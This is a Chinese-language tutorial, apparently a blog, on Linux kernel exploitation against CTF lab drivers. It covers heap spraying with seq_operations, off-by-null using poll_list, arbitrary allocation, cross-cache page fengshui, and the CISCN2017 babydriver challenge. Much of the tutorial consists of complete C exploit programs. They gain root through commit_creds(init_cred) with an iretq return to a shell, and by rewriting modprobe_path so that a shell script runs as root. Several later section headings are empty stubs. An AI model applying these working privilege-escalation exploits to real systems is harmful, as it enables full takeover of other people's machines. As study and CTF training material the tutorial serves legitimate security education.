exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <sys/ioctl.h> #include <unistd.h> #include <string.h> struct param { size_t len; char *buf; long long idx; }; const int SEQ_NUM = 0x200 ;const int DATA_SIZE = 0x20 * 8 ;#define BOF_MALLOC 5 #define BOF_FREE 7 #define BOF_EDIT 8 #define BOF_READ 9 void get_shell () { system("/bin/sh" ); } size_t user_cs, user_rflags, user_sp, user_ss, user_rip = (size_t ) get_shell;void save_status () { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts ("[*] status has been saved." ); } void *(*commit_creds)(void *) = (void *) 0xFFFFFFFF810A1340 ;void *init_cred = (void *) 0xFFFFFFFF81E496C0 ;size_t kernel_offset;void get_root () { __asm__( "mov rax, [rsp + 8];" "mov kernel_offset, rax;" ); kernel_offset -= 0xffffffff81229378 ; commit_creds = (void *) ((size_t ) commit_creds + kernel_offset); init_cred = (void *) ((size_t ) init_cred + kernel_offset); commit_creds(init_cred); __asm__( "swapgs;" "push user_ss;" "push user_sp;" "push user_rflags;" "push user_cs;" "push user_rip;" "iretq;" ); } int main () { save_status(); int bof_fd = open("dev/bof" , O_RDWR); if (bof_fd < 0 ) { puts ("[-] Failed to open bof." ); exit (-1 ); } struct param p = {0x20 , malloc (0x20 ), 0 }; for (int i = 0 ; i < 0x40 ; i++) { ioctl(bof_fd, BOF_MALLOC, &p); } memset (p.buf, '\xff' , p.len); ioctl(bof_fd, BOF_EDIT, &p); int seq_fd[SEQ_NUM]; for (int i = 0 ; i < SEQ_NUM; i++) { seq_fd[i] = open("/proc/self/stat" , O_RDONLY); if (seq_fd[i] < 0 ) { puts ("[-] Failed to open stat." ); } } puts ("[*] seq_operations spray finished." ); p.len = DATA_SIZE; p.buf = malloc (DATA_SIZE); p.idx = 0 ; for (int i = 0 ; i < DATA_SIZE; i += sizeof (size_t )) { *(size_t *) &p.buf[i] = (size_t ) get_root; } ioctl(bof_fd, BOF_EDIT, &p); puts ("[*] Heap overflow finished." ); for (int i = 0 ; i < SEQ_NUM; i++) { read(seq_fd[i], p.buf, 1 ); } return 0 ; }
off by null 现在我们假设这道题没有提供free,并且只有单字节溢出,并且溢出的单字节只能是NULL
,那么我们应该怎麼去利用呢?
利用思路 boot.sh
1 2 3 4 5 6 7 8 9 10 11 12 13 #!/bin/bash qemu-system-x86_64 \ -initrd rootfs.img \ -kernel bzImage \ -m 1G \ -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet nokaslr' \ -monitor /dev/null \ -s \ -cpu kvm64 \ -smp cores=1,threads=2 \ --nographic
poll系统调用
1 2 3 4 5 6 int poll (struct pollfd *fds, nfds_t nfds, int timeout) ;
poll_list
结构体对象是在调用 poll()
时分配,该调用可以监视 1
个或多个文件描述符的活动。
1 2 3 4 5 6 7 8 9 10 11 struct pollfd { int fd; short events; short revents; }; struct poll_list { struct poll_list *next ; int len; struct pollfd entries []; };
poll_list
结构如下图所示,前 30
个 poll_fd
在栈上,后面的都在堆上,最多 510
个 poll_fd
在一个堆上的 poll_list
上,堆上的 poll_list
最大为 0x1000
。
poll_list 分配/释放
do_sys_poll
函数完成 poll_list
的分配和释放。poll_list
的是超时自动释放的,我们可以指定 poll_list
的释放时间。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 #define POLL_STACK_ALLOC 256 #define PAGE_SIZE 4096 #define POLLFD_PER_PAGE ((PAGE_SIZE-sizeof(struct poll_list)) / sizeof(struct pollfd)) #define N_STACK_PPS ((sizeof(stack_pps) - sizeof(struct poll_list)) / sizeof(struct pollfd)) [...] static int do_sys_poll (struct pollfd __user *ufds, unsigned int nfds, struct timespec64 *end_time) { struct poll_wqueues table ; int err = -EFAULT, fdcount, len; long stack_pps[POLL_STACK_ALLOC/sizeof (long )]; struct poll_list *const head = (struct poll_list *)stack_pps; struct poll_list *walk = head; unsigned long todo = nfds; if (nfds > rlimit(RLIMIT_NOFILE)) return -EINVAL; len = min_t (unsigned int , nfds, N_STACK_PPS); for (;;) { walk->next = NULL ; walk->len = len; if (!len) break ; if (copy_from_user(walk->entries, ufds + nfds-todo, sizeof (struct pollfd) * walk->len)) goto out_fds; todo -= walk->len; if (!todo) break ; len = min(todo, POLLFD_PER_PAGE); walk = walk->next = kmalloc(struct_size(walk, entries, len), GFP_KERNEL); if (!walk) { err = -ENOMEM; goto out_fds; } } poll_initwait(&table); fdcount = do_poll(head, &table, end_time); poll_freewait(&table); if (!user_write_access_begin(ufds, nfds * sizeof (*ufds))and) goto out_fds; for (walk = head; walk; walk = walk->next) { struct pollfd *fds = walk->entries; int j; for (j = walk->len; j; fds++, ufds++, j--) unsafe_put_user(fds->revents, &ufds->revents, Efault); } user_write_access_end(); err = fdcount; out_fds: walk = head->next; while (walk) { struct poll_list *pos = walk; walk = walk->next; kfree(pos); } return err; Efault: user_write_access_end(); err = -EFAULT; goto out_fds; }
我们可以去找到一些结构体,其头 8
字节是一个指针,然后利用 off by null
去损坏该指针,比如使得 0xXXXXa0
变成 0xXXXX00
,然后就可以考虑利用堆喷去构造 UAF
了。
详细流程
首先分配 kmalloc-4096
大小的结构题在ptr[0]
;
然后构造这样的poll_list
结构体。
利用off-by-null
将poll_list->next
的最后一个字节改为空。然后大量分配kmalloc-32
的obj
内存,这里只所以是 32
字节大小是因为要与后面的 seq_operations
配合,并且 32
大小的 object
其低字节是可能为 \x00
的,其低字节为 0x20
、0x40
、0x80
、0xa0
、0xc0
、0xe0
、0x00
。运气好可以被我们篡改后的poll_list->next
指到。但对于这道题来说我们没有足够的堆块用于堆喷,所以成功率是极低的。
等待poll_list
线程执行完毕,并且我们分配的kmalloc-32
被错误释放,分配大量的seq_operations
,运气好可以正好被分配到我们释放的kmalloc-32
,形成UAF
,这样我们就可以利用UAF
修改seq_operations->start
指针指向提权代码。
提权可以参考上一篇文章,利用栈上的残留值来bypass kaslr
。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 #ifndef _GNU_SOURCE #define _GNU_SOURCE #endif #include <asm/ldt.h> #include <assert.h> #include <ctype.h> #include <errno.h> #include <fcntl.h> #include <linux/keyctl.h> #include <linux/userfaultfd.h> #include <poll.h> #include <pthread.h> #include <sched.h> #include <semaphore.h> #include <signal.h> #include <stdbool.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <sys/ipc.h> #include <sys/mman.h> #include <sys/msg.h> #include <sys/prctl.h> #include <sys/sem.h> #include <sys/shm.h> #include <sys/socket.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/xattr.h> #include <unistd.h> #include <sys/sysinfo.h> #define BOF_MALLOC 5 #define BOF_FREE 7 #define BOF_EDIT 8 #define BOF_READ 9 #define SEQ_NUM (2048 + 128) #define TTY_NUM 72 #define PIPE_NUM 1024 #define KEY_NUM 199 char buf[0x20 ];int bof_fd;int key_id[KEY_NUM];#define N_STACK_PPS 30 #define POLL_NUM 0x1000 #define PAGE_SIZE 0x1000 struct param { size_t len; char *buf; unsigned long idx; }; size_t user_cs, user_rflags, user_sp, user_ss;void save_status () { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts ("[*] status has been saved." ); } void get_shell (void ) { system("/bin/sh" ); } void qword_dump (char *desc, void *addr, int len) { uint64_t *buf64 = (uint64_t *) addr; uint8_t *buf8 = (uint8_t *) addr; if (desc != NULL ) { printf ("[*] %s:\n" , desc); } for (int i = 0 ; i < len / 8 ; i += 4 ) { printf (" %04x" , i * 8 ); for (int j = 0 ; j < 4 ; j++) { i + j < len / 8 ? printf (" 0x%016lx" , buf64[i + j]) : printf (" " ); } printf (" " ); for (int j = 0 ; j < 32 && j + i * 8 < len; j++) { printf ("%c" , isprint (buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.' ); } puts ("" ); } } struct callback_head { struct callback_head *next ; void (*func)(struct callback_head *head); } __attribute__((aligned(sizeof (void *)))); #define rcu_head callback_head #define __aligned(x) __attribute__((__aligned__(x))) typedef unsigned long long u64;struct user_key_payload { struct rcu_head rcu ; unsigned short datalen; char data[0 ] __aligned(__alignof__(u64)); }; int key_alloc (int id, void *payload, int payload_len) { char description[0x10 ] = {}; sprintf (description, "pwn_%d" , id); return key_id[id] = syscall(__NR_add_key, "user" , description, payload, payload_len - sizeof (struct user_key_payload), KEY_SPEC_PROCESS_KEYRING); } int key_update (int id, void *payload, size_t plen) { return syscall(__NR_keyctl, KEYCTL_UPDATE, key_id[id], payload, plen); } int key_read (int id, void *bufer, size_t buflen) { return syscall(__NR_keyctl, KEYCTL_READ, key_id[id], bufer, buflen); } int key_revoke (int id) { return syscall(__NR_keyctl, KEYCTL_REVOKE, key_id[id], 0 , 0 , 0 ); } int key_unlink (int id) { return syscall(__NR_keyctl, KEYCTL_UNLINK, key_id[id], KEY_SPEC_PROCESS_KEYRING); } pthread_t tid[40 ];typedef struct { int nfds, timer; } poll_args; struct poll_list { struct poll_list *next ; int len; struct pollfd entries []; }; void * alloc_poll_list (void *args) { int nfds = ((poll_args *) args)->nfds; int timer = ((poll_args *) args)->timer; struct pollfd *pfds = calloc (nfds, sizeof (struct pollfd)); for (int i = 0 ; i < nfds; i++) { pfds[i].fd = open("/etc/passwd" , O_RDONLY); pfds[i].events = POLLERR; } poll(pfds, nfds, timer); } void * create_poll_list (size_t size, int timer, int i) { poll_args *args = calloc (1 , sizeof (poll_args)); args->nfds = (size - (size + PAGE_SIZE - 1 ) / PAGE_SIZE * sizeof (struct poll_list)) / sizeof (struct pollfd) + N_STACK_PPS; args->timer = timer; pthread_create(&tid[i], NULL , alloc_poll_list, args); } struct list_head { struct list_head *next , *prev ; }; struct tty_file_private { struct tty_struct *tty ; struct file *file ; struct list_head list ; }; struct page ;struct pipe_inode_info ;struct pipe_buf_operations ;struct pipe_bufer { struct page *page ; unsigned int offset, len; const struct pipe_buf_operations *ops ; unsigned int flags; unsigned long private; }; struct pipe_buf_operations { int (*confirm)(struct pipe_inode_info *, struct pipe_bufer *); void (*release)(struct pipe_inode_info *, struct pipe_bufer *); int (*try_steal)(struct pipe_inode_info *, struct pipe_bufer *); int (*get)(struct pipe_inode_info *, struct pipe_bufer *); }; void *(*commit_creds)(void *) = (void *) 0xFFFFFFFF810A1340 ;void *init_cred = (void *) 0xFFFFFFFF81E496C0 ;size_t user_rip = (size_t ) get_shell;size_t kernel_offset;void get_root () { __asm__( "mov rax, [rsp + 8];" "mov kernel_offset, rax;" ); kernel_offset -= 0xffffffff81229378 ; commit_creds = (void *) ((size_t ) commit_creds + kernel_offset); init_cred = (void *) ((size_t ) init_cred + kernel_offset); commit_creds(init_cred); __asm__( "swapgs;" "push user_ss;" "push user_sp;" "push user_rflags;" "push user_cs;" "push user_rip;" "iretq;" ); } int main () { save_status(); signal(SIGSEGV, (void *) get_shell); bof_fd = open("dev/bof" , O_RDWR); int seq_fd[SEQ_NUM]; printf ("[*] try to alloc_kmalloc-4096\n" ); size_t * mem = malloc (0x1010 ); memset (mem, '\xff' , 0x1010 ); struct param p = {0x1000 , (char *)mem, 0 }; ioctl(bof_fd, BOF_MALLOC, &p); printf ("[*] try to spary kmalloc-32\n" ); p.len = 0x20 ; for (int i = 1 ; i < 20 ; ++i) { p.idx = i; memset (mem, i, 0x20 ); memset (mem, 0 , 0x18 ); ioctl(bof_fd, BOF_MALLOC, &p); ioctl(bof_fd, BOF_EDIT, &p); } printf ("[*] try to alloc_poll_list\n" ); for (int i = 0 ; i < 14 ; ++i) { create_poll_list(PAGE_SIZE + sizeof (struct poll_list) + sizeof (struct pollfd), 3000 , i); } printf ("[*] try to spary kmalloc-32\n" ); p.len = 0x20 ; for (int i = 20 ; i < 40 ; ++i) { p.idx = i; memset (mem, i, 0x20 ); memset (mem, 0 , 0x18 ); ioctl(bof_fd, BOF_MALLOC, &p); ioctl(bof_fd, BOF_EDIT, &p); } sleep(1 ); p.len = 0x1001 ; p.idx = 0 ; memset (mem, '\x00' , 0x1001 ); ioctl(bof_fd, BOF_EDIT, &p); void *res; for (int i = 0 ; i < 14 ; ++i) { printf ("[*] wating for poll end\n" ); pthread_join(tid[i], &res); } for (int i = 0 ; i < 256 ; ++i) { seq_fd[i] = open("/proc/self/stat" , O_RDONLY); } sleep(1 ); for (int i = 1 ; i < 40 ; ++i) { p.idx = i; p.len = 0x20 ; ioctl(bof_fd, BOF_READ, &p); printf ("[%d->0] p->buf == %p\n" , i, (size_t *)mem[0 ]); printf ("[%d->1] p->buf == %p\n" , i, (size_t *)mem[1 ]); printf ("[%d->2] p->buf == %p\n" , i, (size_t *)mem[2 ]); printf ("[%d->3] p->buf == %p\n" , i, (size_t *)mem[3 ]); mem[0 ] = (size_t *)get_root; mem[1 ] = (size_t *)get_root; mem[2 ] = (size_t *)get_root; mem[3 ] = (size_t *)get_root; ioctl(bof_fd, BOF_EDIT, &p); } for (int i = 1 ; i < 40 ; ++i) { p.idx = i; p.len = 0x20 ; ioctl(bof_fd, BOF_READ, &p); printf ("[%d->0] p->buf == %p\n" , i, (size_t *)mem[0 ]); printf ("[%d->1] p->buf == %p\n" , i, (size_t *)mem[1 ]); printf ("[%d->2] p->buf == %p\n" , i, (size_t *)mem[2 ]); printf ("[%d->3] p->buf == %p\n" , i, (size_t *)mem[3 ]); } for (int i = 0 ; i < 256 ; i++) { read(seq_fd[i], p.buf, 1 ); } return 0 ; }
Arbitrary Address Allocation 利用思路 通过 uaf 修改 object
的 free list
指针实现任意地址分配。与 glibc
不同的是,内核的 slub
堆管理器缺少检查,因此对要分配的目标地址要求不高,不过有一点需要注意:当我们分配到目标地址时会把目标地址前 8
字节的数据会被写入 freelist
,而这通常并非一个有效的地址,从而导致 kernel panic
,因此在任意地址分配时最好确保目标 object
的 free list
字段为 NULL
。
当能够任意地址分配的时候,与 glibc 改 hook 类似,在内核中通常修改的是 modprobe_path
。modprobe_path
是内核中的一个变量,其值为 /sbin/modprobe
,因此对于缺少符号的内核文件可以通过搜索 /sbin/modprobe
字符串的方式定位这个变量。
当我们尝试去执行(execve)一个非法的文件(file magic not found),内核会经历如下调用链:
1 2 3 4 5 6 7 8 9 entry_SYSCALL_64() sys_execve() do_execve() do_execveat_common() bprm_execve() exec_binprm() search_binary_handler() __request_module() call_modprobe()
其中 call_modprobe()
定义于 kernel/kmod.c
,我们主要关注这部分代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 static int call_modprobe (char *module_name, int wait) { argv[0 ] = modprobe_path; argv[1 ] = "-q" ; argv[2 ] = "--" ; argv[3 ] = module_name; argv[4 ] = NULL ; info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL, NULL , free_modprobe_argv, NULL ); if (!info) goto free_module_name; return call_usermodehelper_exec(info, wait | UMH_KILLABLE);
在这里调用了函数 call_usermodehelper_exec()
将 modprobe_path
作为可执行文件路径以 root 权限将其执行。 我们不难想到的是:若是我们能够劫持 modprobe_path
,将其改写为我们指定的恶意脚本的路径,随后我们再执行一个非法文件,内核将会以 root 权限执行我们的恶意脚本。
或者分析vmlinux
即可(对于一些没有call_modprobe()
符号的直接交叉引用即可)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 __int64 _request_module( char a1, __int64 a2, double a3, double a4, double a5, double a6, double a7, double a8, double a9, double a10, ...) { ...... if ( v19 ) { ...... v21 = call_usermodehelper_setup( (__int64)&byte_FFFFFFFF82444700, (__int64)v18, (__int64)&off_FFFFFFFF82444620, 3264 , 0LL , (__int64)free_modprobe_argv, 0LL ); ...... } .data:FFFFFFFF82444700 byte_FFFFFFFF82444700 ; DATA XREF: __request_module:loc_FFFFFFFF8108C6D8↑r .data:FFFFFFFF82444700 db 2F h ; / ; __request_module+14B ↑o ... .data:FFFFFFFF82444701 db 73 h ; s .data:FFFFFFFF82444702 db 62 h ; b .data:FFFFFFFF82444703 db 69 h ; i .data:FFFFFFFF82444704 db 6 Eh ; n .data:FFFFFFFF82444705 db 2F h ; / .data:FFFFFFFF82444706 db 6 Dh ; m .data:FFFFFFFF82444707 db 6F h ; o .data:FFFFFFFF82444708 db 64 h ; d .data:FFFFFFFF82444709 db 70 h ; p .data:FFFFFFFF8244470A db 72 h ; r .data:FFFFFFFF8244470B db 6F h ; o .data:FFFFFFFF8244470C db 62 h ; b .data:FFFFFFFF8244470D db 65 h ; e .data:FFFFFFFF8244470E db 0
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 #include "src/pwn_helper.h" #define BOF_MALLOC 5 #define BOF_FREE 7 #define BOF_WRITE 8 #define BOF_READ 9 size_t modprobe_path = 0xFFFFFFFF81E48140 ;size_t seq_ops_start = 0xffffffff81228d90 ;struct param { size_t len; size_t *buf; long long idx; }; void alloc_buf (int fd, struct param* p) { printf ("[+] kmalloc len:%lu idx:%lld\n" , p->len, p->idx); ioctl(fd, BOF_MALLOC, p); } void free_buf (int fd, struct param* p) { printf ("[+] kfree len:%lu idx:%lld\n" , p->len, p->idx); ioctl(fd, BOF_FREE, p); } void read_buf (int fd, struct param* p) { printf ("[+] copy_to_user len:%lu idx:%lld\n" , p->len, p->idx); ioctl(fd, BOF_READ, p); } void write_buf (int fd, struct param* p) { printf ("[+] copy_from_user len:%lu idx:%lld\n" , p->len, p->idx); ioctl(fd, BOF_WRITE, p); } int main () { size_t * buf = malloc (0x500 ); struct param p = {0x20 , buf, 0 }; printf ("[+] user_buf : %p\n" , p.buf); int bof_fd = open("/dev/bof" , O_RDWR); if (bof_fd < 0 ) { puts (RED "[-] Failed to open bof." NONE); exit (-1 ); } printf (YELLOW "[*] try to leak kbase\n" NONE); alloc_buf(bof_fd, &p); free_buf(bof_fd, &p); int seq_fd = open("/proc/self/stat" , O_RDONLY); read_buf(bof_fd, &p); qword_dump("leak seq_ops" , buf, 0x20 ); size_t kernel_offset = buf[0 ] - seq_ops_start; printf (YELLOW "[*] kernel_offset %p\n" NONE, (void *)kernel_offset); modprobe_path += kernel_offset; printf (LIGHT_BLUE "[*] modprobe_path addr : %p\n" NONE, (void *)modprobe_path); p.len = 0xa8 ; alloc_buf(bof_fd, &p); free_buf(bof_fd, &p); read_buf(bof_fd, &p); buf[0 ] = modprobe_path - 0x20 ; write_buf(bof_fd, &p); alloc_buf(bof_fd, &p); alloc_buf(bof_fd, &p); read_buf(bof_fd, &p); qword_dump("leak modprobe_path" , buf, 0x30 ); strcpy ((char *) &buf[4 ], "/tmp/shell.sh\x00" ); write_buf(bof_fd, &p); read_buf(bof_fd, &p); qword_dump("leak modprobe_path" , buf, 0x30 ); if (open("/shell.sh" , O_RDWR) < 0 ) { system("echo '#!/bin/sh' >> /tmp/shell.sh" ); system("echo 'setsid /bin/cttyhack setuidgid 0 /bin/sh' >> /tmp/shell.sh" ); system("chmod +x /tmp/shell.sh" ); } system("echo -e '\\xff\\xff\\xff\\xff' > /tmp/fake" ); system("chmod +x /tmp/fake" ); system("/tmp/fake" ); return 0 ; }
Page-level Fengshui 利用思路 Cross-Cache-Overflow
实际上是针对 buddy system
的利用手法。
slub allocator
底层逻辑是向 buddy system
请求页面后再划分成特定大小 object
返还给上层调用者
→ 内存中用作不同 kmem_cache
的页面在内存上是有可能相邻的。
若我们的漏洞对象存在于页面 A,溢出目标对象存在于页面 B,且 A、B两页面相邻,则我们便有可能实现跨越不同 kmem_cache
之间的堆溢出。
首先让我们重新审视 slub allocator
向 buddy system
请求页面的过程,当 freelist page
已经耗空且 partial
链表也为空时(或者 kmem_cache
刚刚创建后进行第一次分配时),其会向 buddy system
申请页面:
接下来让我们重新审视 buddy system
,其基本原理就是以 2
的 order
次幂张内存页作为分配粒度,相同 order
间空闲页面构成双向链表,当低阶 order
的页面不够用时便会从高阶 order
取一份连续内存页拆成两半,其中一半挂回当前请求 order
链表,另一半返还给上层调用者;下图为以 order 2
为例的 buddy system
页面分配基本原理:
我们不难想到的是:从更高阶 order 拆分成的两份低阶 order 的连续内存页是物理连续的 ,由此我们可以:
向 buddy system 请求两份连续的内存页。
释放其中一份内存页,在 vulnerable kmem_cache
上堆喷,让其取走这份内存页。
释放另一份内存页,在 victim kmem_cache
上堆喷,让其取走这份内存页。
此时我们便有可能溢出到其他的内核结构体上,从而完成 cross-cache overflow 。
注意 slub 申请的 object 位于线性映射区,因此溢出修改的是物理地址相邻的内存页。而 buddy system 的特性可以保证两个物理页物理地址相邻。
在实际情况中我们无法准确控制 buddy system ,因此这一步骤改为:
向 buddy system 请求大量的内存页
释放其中一半内存页,在 vulnerable kmem_cache
上堆喷,让其取走这些内存页
释放另一半内存页,在 victim kmem_cache
上堆喷,让其取走这些内存页
这样我们有很大概率构造出上面那种情况,从而可以溢出到其他的内核结构体上完成 cross-cache overflow 。
使用 setsockopt 与 pgv 完成页级内存占位与堆风水
当我们创建一个 protocol 为 PF_PACKET
的 socket 之后,先调用 setsockopt()
将 PACKET_VERSION
设为 TPACKET_V1
/ TPACKET_V2
,再调用 setsockopt()
提交一个 PACKET_TX_RING
,此时便存在如下调用链:
1 2 3 4 5 __sys_setsockopt() sock->ops->setsockopt() packet_setsockopt() packet_set_ring() alloc_pg_vec()
在 alloc_pg_vec()
中会创建一个 pgv
结构体,用以分配 tp_block_nr
份 2 order
张内存页,其中 order
由 tp_block_size
决定:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 static struct pgv *alloc_pg_vec (struct tpacket_req *req, int order) { unsigned int block_nr = req->tp_block_nr; struct pgv *pg_vec ; int i; pg_vec = kcalloc(block_nr, sizeof (struct pgv), GFP_KERNEL | __GFP_NOWARN); if (unlikely(!pg_vec)) goto out; for (i = 0 ; i < block_nr; i++) { pg_vec[i].buffer = alloc_one_pg_vec_page(order); if (unlikely(!pg_vec[i].buffer)) goto out_free_pgvec; } out: return pg_vec; out_free_pgvec: free_pg_vec(pg_vec, order, block_nr); pg_vec = NULL ; goto out; }
在 alloc_one_pg_vec_page()
中会直接调用 __get_free_pages()
向 buddy system
请求内存页,因此我们可以利用该函数进行大量的页面请求:
1 2 3 4 5 6 7 8 9 10 11 static char *alloc_one_pg_vec_page (unsigned long order) { char *buffer; gfp_t gfp_flags = GFP_KERNEL | __GFP_COMP | __GFP_ZERO | __GFP_NOWARN | __GFP_NORETRY; buffer = (char *) __get_free_pages(gfp_flags, order); if (buffer) return buffer; }
相应地, pgv
中的页面也会在 socket
被关闭后释放:
1 2 3 packet_release() packet_set_ring() free_pg_vec()
setsockopt()
也可以帮助我们完成页级堆风水 ,当我们耗尽 buddy system
中的 low order pages
后,我们再请求的页面便都是物理连续的,因此此时我们再进行 setsockopt()
便相当于获取到了一块近乎物理连续的内存 (为什么是”近乎连续“是因为大量的 setsockopt()
流程中同样会分配大量我们不需要的结构体,从而消耗 buddy system
的部分页面)。
exp Page-level UAF 利用思路 exp Dirty Pagetable 利用思路 exp KSMA 利用思路 exp USMA 利用思路 exp ret2hbp 利用思路 exp Use After Cleanup 利用思路 exp CISCN2017 babydriver 题目分析 开了 smep
保护,没有 kaslr
。
1 2 3 4 5 6 7 8 9 10 11 12 13 #!/bin/bash qemu-system-x86_64 \ -initrd rootfs.img \ -kernel bzImage \ -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet nokaslr' \ -enable-kvm \ -monitor /dev/null \ -m 64M \ --nographic \ -smp cores=1,threads=1 \ -cpu kvm64,+smep \ -s
模块中存在一个babydevice_t
结构体:
1 2 3 4 struct babydevice_t { char *device_buf; size_t device_buf_len; }
babyioctl
将原先的 device_buf
释放,并分配一块新的内存。但这里有个很重要的点需要注意:该位置的 kmalloc
大小可以被用户任意指定。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 __int64 __fastcall babyioctl (file *filp, unsigned int command, unsigned __int64 arg) { size_t v3; size_t v4; _fentry__(filp, command); v4 = v3; if ( command == 0x10001 ) { kfree(babydev_struct.device_buf); babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0 LL); babydev_struct.device_buf_len = v4; printk("alloc done\n" ); return 0LL ; } else { printk("\x013defalut:arg is %ld\n" ); return -22LL ; } }
babyopen
申请的初始buf
长度为0x40
。
1 2 3 4 5 6 7 8 int __fastcall babyopen (inode *inode, file *filp) { _fentry__(inode, filp); babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6 ], 0x24000C0 LL, 64LL ); babydev_struct.device_buf_len = 64LL ; printk("device open\n" ); return 0 ; }
babywrite
ida
反汇编存在错误,这里需要修改一下copy_from_user
的call type
为void (__fastcall *)(char *, char *, size_t)
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ssize_t __fastcall babywrite (file *filp, const char *buffer, size_t length, loff_t *offset) { size_t v4; ssize_t result; ssize_t v6; _fentry__(filp, buffer); if ( !babydev_struct.device_buf ) return -1LL ; result = -2LL ; if ( babydev_struct.device_buf_len > v4 ) { v6 = v4; ((void (__fastcall *)(char *, char *, size_t ))copy_from_user)(babydev_struct.device_buf, (char *)buffer, v4); return v6; } return result; }
babyread
修改一下copy_to_user
的函数调用类型为void (__fastcall *)(char *, char *, size_t)
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ssize_t __fastcall babyread (file *filp, char *buffer, size_t length, loff_t *offset) { size_t v4; ssize_t result; ssize_t v6; _fentry__(filp, buffer); if ( !babydev_struct.device_buf ) return -1LL ; result = -2LL ; if ( babydev_struct.device_buf_len > v4 ) { v6 = v4; ((void (__fastcall *)(char *, char *, size_t ))copy_to_user)(buffer, babydev_struct.device_buf, v4); return v6; } return result; }
babyrelease
没有重置len
,也没有清空buf
。
1 2 3 4 5 6 7 int __fastcall babyrelease (inode *inode, file *filp) { _fentry__(inode, filp); kfree(babydev_struct.device_buf); printk("device release\n" ); return 0 ; }
利用思路 执行完 babyrelease
函数之后,device_buf
就会成为悬垂指针。但需要注意的是,在用户进程空间中,当执行close(fd)
之后,该进程将无法再使用这个文件描述符,因此没有办法在close
后再利用这个 fd
去进行写操作。
但我们可以利用 babydriver
中的变量全是全局变量的这个特性,同时执行两次 open
操作,获取两个 fd。这样即便一个 fd 被 close 了,我们仍然可以利用另一个 fd 来对 device_buf
进行写操作。
这道题虽然可以利用UAF
提权,但这里我们主要练习一下tty_struct
劫持,这道题的劫持相对来说是很简单的。
利用 UAF
劫持 tty_struct
的 ops
执行伪造的 fake_ops
。
利用 fake_ops->ioctl
结合 cr4
寄存器关闭 smep
,并完成栈迁移。
执行用户空间的提权代码。
这里需要注意的是:
mmap
的内存不应该从 rax & 0xffffffff
开始,因为在执行 rop
时返回到用户空间执行 get_root
函数会抬高 rsp
小于 rax & 0xffffffff
造成越界,因此需要加一个偏移。
1 2 3 4 5 6 7 char * fake_stack = mmap( (hijacked_stack_addr & (~0xffff ))-0x1000 , 0x30000 , PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1 , 0 );
mmap
的内存是没有映射到实际物理内存的虚拟内存,如果 rsp
到达没有写入 rop
的位置同样也会导致越界错误,因此在使用前先写入数据使其映射到物理内存上。
1 memset (fake_stack, 0 , 0x30000 );
